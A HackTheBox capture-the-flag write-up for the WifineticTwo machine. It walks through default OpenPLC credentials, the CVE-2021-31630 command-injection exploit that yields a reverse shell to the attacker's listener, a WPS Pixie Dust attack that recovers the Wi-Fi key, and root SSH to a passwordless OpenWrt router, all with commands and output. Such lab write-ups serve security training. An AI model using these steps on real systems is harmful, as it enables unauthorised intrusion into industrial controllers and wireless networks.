HackTheBox: WifineticTwo

Foued SAIDI Lv4

Overview

WifineticTwo is a medium-difficulty machine from HackTheBox that provides the opportunity to exploit a vulnerable version OpenPLC server, scan a wireless network, exploit the AP to get the router password, connect to it and then pivot onto the Open-WRT Access Point.

WifineticTwo-info-card
WifineticTwo-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
PS C:\Users\0xkujen> nmap -A -Pn 10.129.75.3
Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 11:58 W. Central Africa Standard Time
NSOCK ERROR [0.2470s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Nmap scan report for 10.129.75.3
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTTNQ.et7qGhPoRm1vSFs8pnh_t4_XhIs; Expires=Sat, 27-Jul-2024 11:05:05 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:00:05 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqTTMA.ZUdselS7Zc1Tv-oYIMJLOe-2JJs; Expires=Sat, 27-Jul-2024 11:05:00 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:00:00 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTTMg.gxlsN0lxodwWIFcly8yD_bLvBgQ; Expires=Sat, 27-Jul-2024 11:05:02 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:00:02 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.129.75.3:8080/login
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<snip>

We can see that we have OpenSSH running on port 22, and what seems to be a Python web app on port 8080.

Web application - 10.129.75.3:8080

Web App Port 8080
Web App Port 8080

This is OpenPLC, an open-source Programmable Logic Controller that is based on an easy to use software.
I instantly went over to google and searched for default credentials for OpenPLC:

OpenPLC  default credentials
OpenPLC default credentials

Let’s try to login with those credentials:

OpenPLC login
OpenPLC login

And we are in!!
But before I go on and check for any interesting thing on the portal after logging in, I go ahead and check for any Vulnerabilities or CVEs for OpenPLC.

OpenPLC CVE
OpenPLC CVE

CVE-2021-31630

I found this github repo with a Proof-of-concept for CVE-2021-31630 , which is a Command Injection vulnerability in Open PLC Webserver v3 that allows remote attackers to execute arbitrary code via the “Hardware Layer Code Box” component on the “/hardware” page of the application.
Let’s clone the repo and exploit this vulnerbaility, it is pretty straight forward by specifying the OpenPLC default credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Users\0xkujen> python3 .\exploit.py -lh 10.10.x.x -lp 9001 http://10.129.75.3:8080

------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------

[>] Found By : Fellipe Oliveira
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[>] Target : http://10.129.75.3:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout : 20 secs
[>] LHOST : 10.10.x.x
[>] LPORT : 9001

[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!

And we get a callback on our listener:

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.75.3] 44484
bash: cannot set terminal process group (171): Inappropriate ioctl for device
bash: no job control in this shell
root@attica02:/opt/PLC/OpenPLC_v3/webserver# id
id
uid=0(root) gid=0(root) groups=0(root)
root@attica02:/opt/PLC/OpenPLC_v3/webserver#

And we are root on this linux machine. Usually on HackTheBox, when you are root user after the first foothold directly, it would mean that most probably there is another machine still to be exploited, we confirm this by going to our root directory and getting the user.txt flag:

1
2
3
4
root@attica02:~# cat user.txt
cat user.txt
e501a5fe41a817******************
root@attica02:~#

Privilege Escalation

Pivoting to OpenWRT

One thing we can check which was also inspired from the machine name “WifineticTwo”, is to check for network interfaces for anything unusual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@attica02:~# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.3.3 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fe80::216:3eff:fefb:30c8 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:fb:30:c8 txqueuelen 1000 (Ethernet)
RX packets 28273 bytes 2580482 (2.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 21222 bytes 3805193 (3.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 220 bytes 13486 (13.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 220 bytes 13486 (13.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 02:00:00:00:03:00 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attica02:~#
Wireless Enumeration

We can get further informations using iwconfig

1
2
3
4
5
6
7
8
9
root@attica02:~# iwconfig wlan0
iwconfig wlan0
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

root@attica02:~#

Let’s now scan for wireless network:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@attica02:~# iw dev wlan0 scan
iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 2050.676s [boottime]
TSF: 1722095167921033 usec (19931d, 15:46:07)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
root@attica02:~#

The wlan0 interface is up and ready to be used but is not currently connected to a Wi-Fi network. To activate and connect this interface, you would typically use a network management tool like NetworkManager, wpa_supplicant, or nmcli to connect to a Wi-Fi network, which would then assign an IP address and allow traffic to flow through the interface.

So our objective now is to be able to connect ourselves to the wifi network, but for that we’ll need the Access Point’s password, since we have its’ name ``plcrouter.

After a lot of thoughts on this, I tried performing the Pixie Dust attack attack - in order to acquire the Wifi’s Password- which works by bruteforcing the key for a protocol called WPS. WPS was intended to make accessing a router easier, and it did - for attackers. (lol)
You can read more about it here .

Exploitation

For this I will be using Oneshot .

We alread have the BSSID from the iwlist command, and -K is to perform Pixie Dust. We must also specify the interface which is wlan0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@attica02:~# ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: a84310c1b231e0008743c316ad088fc0
[*] Building Message M2
[P] PKR: 73a38eefbf6b7ad8b1e28e3c38aca607d54e433c0f392839840c435591a3bf0a9a45b721aef8aa5f0a1a9981aafd72cfd229558ca83578c6d840f177611394ca2827576474af431c9f6fb52b01deaf84b5cd95f59323eec9f911221bde9666c96ec9d8cde136aae7c5242d4abeb75150da37571f7cabb59345aba02b66b414b76e0c18e012312866f31d0b2b6154605762dc2b47b8ff7840716954bf5fa7940dd605b7db25282cb0d615d513ed34c0cc6ea061fb598e08caff99db63fb421131
[P] PKE: 35518324d2982510665f7bdddaa979974eefb252ed40ee35eddd93c1380a0b72308bff80f8d3967283e7bfcedc4ff96ce22167a9b1343dd3fddadd9969fb86ffa452e88e4dd64b5760b5914e1cc8c0e1ec70ed4214844ad12f0b8af578da8d4eb83c1152fe67a9f4d96ddf318b24d6aa379cb9cff856cb2a1f43a6f8054c41563917cb6fecf613ccd47ee86110d2622361713e7eb7d2b1c26bc38075f54aeb5c3404000f6ea8738ec8c9249ce4eaff533ae6dc9906b2cc638acf25812c6b7698
[P] Authkey: 99ab77941c3c09b541047a22a4d336b4269e7d267e5416cd6abcecdc77498e64
[*] Received WPS Message M3
[P] E-Hash1: 1bcb50bfd31bdbafd21ccaf2c5c46b56f9fe006a1d62d07758c919e6edc078d0
[P] E-Hash2: 8d7100b084cd9f396c9deeacee87eb8f15f8203f9623f2b4788e7693744a1fec
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter
root@attica02:~#

The PSK is NoWWEDoKnowWhaTisReal123.

Wifi Connection

Now we can connect to the network using wpa_passphrase command which will generate the config file we need:

1
2
3
4
5
6
7
8
root@attica02:~# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!'
wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!'
network={
ssid="plcrouter"
#psk="NoWWEDoKnowWhaTisReal123!"
psk=2bafe4e17630ef1834eaa9fa5c4d81fa5ef093c4db5aac5c03f1643fef02d156
}
root@attica02:~#

Now we connect to the network:

1
2
3
root@attica02:~# wpa_supplicant -B -c config -i wlan0
wpa_supplicant -B -c config -i wlan0
Successfully initialized wpa_supplicant

This made the connection, but we still don’t an IP address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@attica02:/opt/PLC/OpenPLC_v3/webserver# iw dev wlan0 link
iw dev wlan0 link
Connected to 02:00:00:00:01:00 (on wlan0)
SSID: plcrouter
freq: 2412
RX: 1214896 bytes (17658 packets)
TX: 12919 bytes (313 packets)
signal: -30 dBm
rx bitrate: 1.0 MBit/s
tx bitrate: 54.0 MBit/s

bss flags: short-slot-time
dtim period: 2
beacon int: 100
root@attica02:/opt/PLC/OpenPLC_v3/webserver#

We can now assign ourselves an IP Address to ourselves:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@attica02:/opt/PLC/OpenPLC_v3/webserver# ifconfig wlan0 192.168.1.137 netmask 255.255.255.0
< ifconfig wlan0 192.168.1.137 netmask 255.255.255.0
root@attica02:/opt/PLC/OpenPLC_v3/webserver# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.3.3 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fe80::216:3eff:fefb:30c8 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:fb:30:c8 txqueuelen 1000 (Ethernet)
RX packets 6034 bytes 537758 (537.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4575 bytes 896694 (896.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 320 bytes 17644 (17.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 320 bytes 17644 (17.6 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.137 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::ff:fe00:300 prefixlen 64 scopeid 0x20<link>
ether 02:00:00:00:03:00 txqueuelen 1000 (Ethernet)
RX packets 8 bytes 1245 (1.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 44 bytes 4820 (4.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attica02:/opt/PLC/OpenPLC_v3/webserver#

So now we are connected to Wifi and have a proper IP address.
It is safe to assume that the router’s IP Address is 192.168.1.1

let’s check for available machines locally first:

1
2
3
root@attica02:/opt/PLC/OpenPLC_v3/webserver# for ip in 192.168.1.{1..10}; do ping -c 1 -t 1 $ip > /dev/null && echo "${ip} is up"; done
< 1 -t 1 $ip > /dev/null && echo "${ip} is up"; done
192.168.1.1 is up

And yes, 192.168.1.1 is up. Let’s upload a statically compiled nmap binary and check it out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@attica02:~# ./nmap 192.168.1.1
./nmap 192.168.1.1
Starting Nmap 7.91 ( https://nmap.org ) at 2024-07-27 17:02 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Nmap scan report for 192.168.1.1
Host is up (0.000024s latency).
Not shown: 1152 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
MAC Address: 02:00:00:00:01:00 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds
root@attica02:~#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@attica02:~# curl 192.168.1.1
curl 192.168.1.1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 780 100 780 0 0 247k 0 --:--:-- --:--:-- --:--:-- 380k
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta http-equiv="refresh" content="0; URL=cgi-bin/luci/" />
<style type="text/css">
body { background: white; font-family: arial, helvetica, sans-serif; }
a { color: black; }

@media (prefers-color-scheme: dark) {
body { background: black; }
a { color: white; }
}
</style>
</head>
<body>
<a href="cgi-bin/luci/">LuCI - Lua Configuration Interface</a>
</body>
</html>
root@attica02:~#

Judging from the LuCI - Lua Configuration Interface I can tell that this is an ``, we can cofirm this with a simple google search:

OpenWRT router
OpenWRT router

I am a bit familiar with it, I’ll try to just ssh into the router and see what happens:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@attica02:~# ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
Pseudo-terminal will not be allocated because stdin is not a terminal.
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
id
uid=0(root) gid=0(root)

It appears that luckily the root user doesn’t have a password set on the router. And we get our root flag:

1
2
cat root.txt
fb0c5ca0be6258******************

Thank you for reading <3
-0xkujen

  • Title: HackTheBox: WifineticTwo
  • Author: Foued SAIDI
  • Created at : 2024-07-27 18:21:16
  • Updated at : 2024-07-31 12:06:32
  • Link: https://kujen5.github.io/2024/07/27/HackTheBox-WifineticTwo/
  • License: This work is licensed under CC BY-NC-SA 4.0.